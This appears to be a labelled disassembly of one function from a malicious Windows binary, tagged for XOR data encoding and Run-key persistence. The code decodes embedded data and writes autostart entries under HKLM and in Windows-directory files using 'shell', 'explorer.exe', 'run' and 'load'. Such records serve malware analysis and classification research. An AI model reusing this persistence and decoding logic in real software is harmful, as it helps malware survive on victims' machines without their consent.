Function at 0x40b364
Capabilities:
Encode data using xor
Get common file path
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf8
mov eax, dword [0x444490]
mov ecx, 7
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov al, byte [0x444494]
mov byte [ebp - 0x10], al
push esi
lea edi, [ebp - 0xfc]
mov esi, 0x444498
rep movsd dword es:[edi], dword [esi]
movzx eax, word [0x46b0c2]
dec eax
pop esi
mov dword [ebp - 0xc], eax
mov ecx, dword [0x46b1b4]
mov edx, dword [ebp - 0xc]
lea edx, [edx + edx*4]
cmp dword [ecx + edx*8 + 0x10], 0x6978
jae 0x40b3be
xor eax, eax
jmp 0x40ba88
mov ebx, dword [0x46b13c]
test ebx, ebx
je 0x40b3d1
cmp dword [0x46b140], 5
jae 0x40b3d8
xor eax, eax
jmp 0x40ba88
push ebx
call fcn.004187a0
pop ecx
mov dword [ebp - 0x18], eax
push 0
mov edx, dword [ebp - 0x18]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0042e350
add esp, 0xc
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x40b4c9
mov edx, dword [ebp + 8]
push edx
push 1
push 0x14
lea ecx, [ebp - 0xe0]
push ecx
call fcn.0042e2b0
add esp, 0x10
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
xor edi, edi
mov eax, dword [ebp - 0xc]
lea eax, [eax + eax*4]
mov edx, dword [0x46b1b4]
lea eax, [edx + eax*8 + 0xc]
mov edx, edi
cmp edx, 4
ja case.default.0x40b436
jmp dword [edx*4 + 0x40b43d]
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x18], ecx
jmp case.default.0x40b436
mov edx, dword [ebp - 0xdc]
mov dword [ebp - 0x18], edx
jmp case.default.0x40b436
mov ecx, dword [ebp - 0xd8]
mov dword [ebp - 0x18], ecx
jmp case.default.0x40b436
mov edx, dword [ebp - 0xd4]
mov dword [ebp - 0x18], edx
jmp case.default.0x40b436
mov ecx, dword [ebp - 0xd0]
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 0
jne 0x40b491
inc dword [ebp - 0x20]
jmp 0x40b4af
mov edx, dword [0x46b0f0]
sub dword [ebp - 0x18], edx
mov edx, dword [eax]
cmp edx, dword [ebp - 0x18]
jae 0x40b4af
add edx, dword [eax - 4]
cmp edx, dword [ebp - 0x18]
jbe 0x40b4af
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
inc edi
cmp edi, 5
jl 0x40b42f
cmp dword [ebp - 0x1c], 0
je 0x40b4c5
cmp dword [ebp - 0x20], 4
je 0x40b4d8
add dword [ebp - 4], 0x14
mov eax, dword [ebp - 4]
cmp eax, dword [0x46b140]
jb 0x40b3fe
cmp dword [ebp - 0x1c], 0
jne 0x40b4e5
xor eax, eax
jmp 0x40ba88
mov edx, dword [ebp - 0x1c]
push edx
call fcn.004187a0
pop ecx
mov ebx, eax
push 0
push ebx
mov eax, dword [ebp + 8]
mov dword [0x46b1c4], ebx
push eax
call fcn.0042e350
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push 1
push 0x9b
lea ecx, [ebp - 0xcc]
push ecx
call fcn.0042e2b0
add esp, 0x10
xor edi, edi
push 5
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0xcc]
add edx, edi
push edx
call fcn.0042bec0
add esp, 0xc
test eax, eax
je 0x40b546
inc edi
cmp edi, 0x96
jl 0x40b522
cmp edi, 0x96
jne 0x40b555
xor eax, eax
jmp 0x40ba88
add edi, dword [0x46b1c4]
add edi, 5
xor edx, edx
mov dword [ebp - 4], edi
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 0
setne cl
and ecx, 1
mov byte [ebp - 0xd], cl
push 0
mov eax, dword [ebp - 4]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0042e350
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push 1
push 4
lea eax, [ebp - 0x18]
push eax
call fcn.0042e2b0
add esp, 0x10
mov edx, dword [ebp + 8]
push edx
push 1
push 4
lea ecx, [ebp - 0x1c]
push ecx
call fcn.0042e2b0
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
push 1
push 4
lea edx, [ebp - 0x20]
push edx
call fcn.0042e2b0
add esp, 0x10
mov ecx, dword [ebp - 0xfc]
xor dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0xf8]
xor dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0xf4]
xor dword [ebp - 0x20], edx
mov ecx, dword [ebp - 8]
sub ecx, 1
jb 0x40b5eb
je 0x40b642
jmp 0x40b692
xor esi, esi
mov edi, esi
push edi
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00431184
add esp, 8
mov ebx, dword [ebp - 0x18]
sub ebx, eax
push edi
mov eax, dword [ebp - 0x20]
push eax
call fcn.00431184
add esp, 8
push eax
mov eax, dword [ebp - 0x1c]
pop edx
sub eax, edx
cmp eax, ebx
je 0x40b61f
inc esi
cmp esi, 0x20
jb 0x40b5ed
cmp esi, 0x20
je 0x40b692
push esi
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.00431184
add esp, 8
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, 0x20
sub eax, esi
mov esi, eax
jmp 0x40b692
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x20]
xor esi, esi
mov dword [ebp - 0x24], edx
mov edi, esi
push edi
mov eax, dword [ebp - 0x18]
push eax
call fcn.00431184
add esp, 8
mov ebx, eax
push edi
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00431184
add esp, 8
sub ebx, eax
cmp ebx, dword [ebp - 0x24]
je 0x40b678
inc esi
cmp esi, 0x20
jb 0x40b64d
cmp esi, 0x20
je 0x40b692
push esi
mov edx, dword [ebp - 0x18]
push edx
call fcn.00431184
add esp, 8
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov dword [ebp - 0x28], ecx
cmp esi, 0x20
je 0x40b6f9
xor edi, edi
lea ebx, [ebp - 0xf0]
mov eax, dword [ebp + 8]
push eax
push 1
push 4
lea edx, [ebp - 0x24]
push edx
call fcn.0042e2b0
add esp, 0x10
cmp byte [ebp - 0xd], 0
je 0x40b6cb
push esi
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00431184
add esp, 8
add eax, dword [ebp - 0x28]
jmp 0x40b6db
push esi
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x28]
push eax
call fcn.00431184
add esp, 8
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
xor dword [ebp - 0x24], edx
mov ecx, dword [ebx]
cmp ecx, dword [ebp - 0x24]
jne 0x40b6f4
inc edi
add ebx, 4
cmp edi, 4
jl 0x40b69f
cmp edi, 4
je 0x40b706
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x40b566
cmp dword [ebp - 8], 2
jne 0x40b713
xor eax, eax
jmp 0x40ba88
push 1
mov edx, dword [ebp + 8]
push edx
push 0x999
call fcn.00401410
add esp, 0xc
dec eax
je 0x40b730
xor eax, eax
jmp 0x40ba88
push 0
mov edx, dword [ebp - 4]
add edx, 4
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0042e350
add esp, 0xc
push 0x6678
call fcn.0042b7bc
pop ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov edi, 1
mov eax, dword [ebp - 0x2c]
lea ebx, [eax + 4]
mov eax, dword [ebp + 8]
mov edx, edi
push eax
push 1
shl edx, 2
push 4
add edx, dword [ebp - 0x2c]
push edx
call fcn.0042e2b0
add esp, 0x10
cmp byte [ebp - 0xd], 0
je 0x40b795
push esi
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.00431184
add esp, 8
add eax, dword [ebp - 0x28]
jmp 0x40b7a5
push esi
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x28]
push eax
call fcn.00431184
add esp, 8
mov dword [ebp - 0x20], eax
inc edi
mov edx, dword [ebp - 0x20]
xor dword [ebx], edx
add ebx, 4
cmp edi, 0x199e
jl 0x40b764
mov eax, dword [ebp - 0x2c]
lea edx, [eax + 0x1923]
add eax, 0x6476
mov dword [ebp - 0x30], edx
xor edi, edi
mov ecx, dword [ebp - 0x30]
mov esi, dword [ecx]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov ebx, eax
xor dword [ebx], esi
inc edi
add ebx, 4
cmp edi, 0x80
jl 0x40b7d9
push 0
mov eax, dword [0x46b1bc]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0042e350
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push 0x80
push 4
mov eax, dword [ebp - 0x30]
push eax
call fcn.0042e540
add esp, 0x10
mov edx, dword [ebp - 0x2c]
push edx
call fcn.0042b7cc
pop ecx
mov eax, dword [ebp - 0xc]
lea eax, [eax + eax*4]
mov edx, dword [0x46b1b4]
mov ecx, dword [edx + eax*8 + 0x14]
cmp ecx, dword [0x46b1c4]
jae 0x40b862
mov ecx, dword [ebp - 0xc]
lea ecx, [ecx + ecx*4]
mov ebx, dword [0x46b1b4]
mov esi, dword [0x46b1c4]
sub esi, dword [ebx + ecx*8 + 0x14]
mov dword [edx + eax*8 + 0x10], esi
mov ecx, dword [ebp - 0xc]
lea ecx, [ecx + ecx*4]
mov ebx, dword [0x46b1b4]
mov ecx, dword [ebx + ecx*8 + 0x10]
mov dword [edx + eax*8 + 8], ecx
mov edx, dword [0x46b1b4]
mov ecx, dword [0x46b1b4]
mov edx, dword [edx + eax*8 + 0xc]
add edx, dword [ecx + eax*8 + 8]
mov ecx, dword [0x46b0f4]
dec edx
mov dword [ebp - 0x18], edx
xor edx, edx
mov eax, dword [ebp - 0x18]
div ecx
inc eax
imul ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push 0
mov dword [0x46b10c], eax
mov eax, dword [0x46b1b8]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0042e350
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push 0xf8
push 1
push 0x46b0bc
call fcn.0042e540
add esp, 0x10
mov eax, dword [0x46b1c0]
push 0
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0042e350
movzx eax, word [0x46b0c2]
mov edx, eax
add esp, 0xc
shl edx, 3
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [0x46b1b4]
lea edx, [edx + edx*4]
push edx
push 1
push ecx
call fcn.0042e540
add esp, 0x10
mov eax, dword [ebp + 8]
push eax
call fcn.00418690
pop ecx
inc eax
jne 0x40b90f
or eax, 0xffffffff
jmp 0x40ba88
lea edx, [ebp - 0x304]
push edx
lea ecx, [ebp - 0x200]
push ecx
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xcc]
push edx
mov ecx, dword [0x46a898]
push ecx
call fcn.0042de18
add esp, 0x14
lea eax, [ebp - 0x200]
push eax
push 0x444d10
push 0x80000002
call fcn.00417e0c
add esp, 0xc
lea edx, [ebp - 0x200]
push edx
push 0x444d3f
push 0x80000002
call fcn.00417e0c
add esp, 0xc
lea ecx, [ebp - 0x304]
push ecx
lea eax, [ebp - 0x200]
push eax
call fcn.0042bd64
add esp, 8
push 0x400
lea edx, [ebp - 0x304]
push edx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x444d76
lea ecx, [ebp - 0x304]
push ecx
call fcn.0042bd64
lea edi, [ebp - 0x408]
add esp, 8
mov eax, edi
mov esi, str.shellexplorer.exe
mov ecx, 5
lea edx, [ebp - 0x200]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x408]
push edx
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x408]
push eax
lea edx, [ebp - 0x304]
push edx
call fcn.00417cc4
add esp, 8
push 0x400
lea ecx, [ebp - 0x304]
push ecx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x444d96
lea eax, [ebp - 0x304]
push eax
call fcn.0042bd64
lea edi, [ebp - 0x408]
add esp, 8
mov eax, edi
mov esi, str.run
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x200]
lea ecx, [ebp - 0x408]
push edx
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x408]
push eax
lea edx, [ebp - 0x304]
push edx
call fcn.00417cc4
lea edi, [ebp - 0x408]
add esp, 8
mov eax, edi
mov esi, str.load
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edx, [ebp - 0x200]
lea ecx, [ebp - 0x408]
push edx
push ecx
call fcn.0042bd64
add esp, 8
lea eax, [ebp - 0x408]
push eax
lea edx, [ebp - 0x304]
push edx
call fcn.00417cc4
add esp, 8
mov eax, 0x999
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret